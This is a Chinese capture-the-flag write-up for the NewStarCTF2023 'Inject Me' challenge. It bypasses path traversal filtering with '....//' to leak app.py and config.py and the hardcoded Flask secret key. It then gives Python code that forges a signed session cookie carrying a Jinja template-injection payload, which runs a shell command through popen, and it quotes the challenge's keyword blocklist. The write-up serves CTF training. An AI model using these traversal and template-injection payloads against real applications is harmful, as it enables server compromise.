【NewStarCTF2023】Inject Me 目录穿越+ssti+flask_jwt 进到靶机后, 稍微探索一下,发现有个这个图片泄露了源码:
这里是一个目录穿越漏洞,其中
1 filename = filename.replace('../' , '' )
这一行代码是可以双写 ../
成 ....//
进行绕过的.然后由于这是一个 flask 框架,我们尝试去找它的 app.py 文件, 在寻找之前,先来了解 flask 框架的文件结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 /your-application /venv /app __init__.py /templates layout.html index.html login.html ... /static /css /js /images ... views.py models.py forms.py app.py config.py requirements.txt
如果能实现目录穿越,那么 app.py
和 config.py
这个两个文件可以优先查看.
最后构造 url 请求如下:
1 /download?file=....//....//app.py
成功看到题目源码(这里只张贴源码有意义的部分):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.route('/backdoor' , methods=["GET" ] ) def backdoor (): try : print (session.get("user" )) if session.get("user" ) is None : session['user' ] = "guest" name = session.get("user" ) if re.findall( r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.' , name): abort(500 ) else : return render_template_string( '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name) except Exception: abort(500 )
整个代码的逻辑就是从cookie 的 session 里取出 user, 如果 user 不等于 guest, 就经过一层过滤然后 render_template_string
渲染出来.
这里就是 ssti 绕过了, 同时还要找到 secret key
去构造 session.
再查看 config.py
文件,发现:
1 secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
成功拿到 secret_key, 然后就是写代码去生成对应的 session. flask 的 session 与普通的 jwt 生成不一样, 需要写代码去模拟 session 的签名.
而且这一行代码:
1 2 3 if re.findall( r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.' , name):
过滤一堆关键字, 我的处理思路就是在 session 里面传关键字,然后在 user 里面调用(写的过程比较恶心,要去计算闭合和引号), 最后生成 session 的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from itsdangerous import URLSafeTimedSerializerfrom flask.sessions import SecureCookieSessionInterfacefrom flask import FlaskSECRET_KEY = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" app = Flask(__name__) app.secret_key = SECRET_KEY session_serializer = SecureCookieSessionInterface().get_signing_serializer(app) session_data = {"user" : "{% print(''[session['a']][session['b']][0][session['c']]()[117][session['d']][session['e']][session['f']]('more /y0U3_f14g_1s_h3re')[session['g']]())%}" , "a" :'__class__' , "b" :'__bases__' , "c" :'__subclasses__' , "d" :'__init__' , "e" :'__globals__' , "f" :'popen' , "g" :'read' } encoded_session = session_serializer.dumps(session_data) print (encoded_session)
最后发送拿到 flag: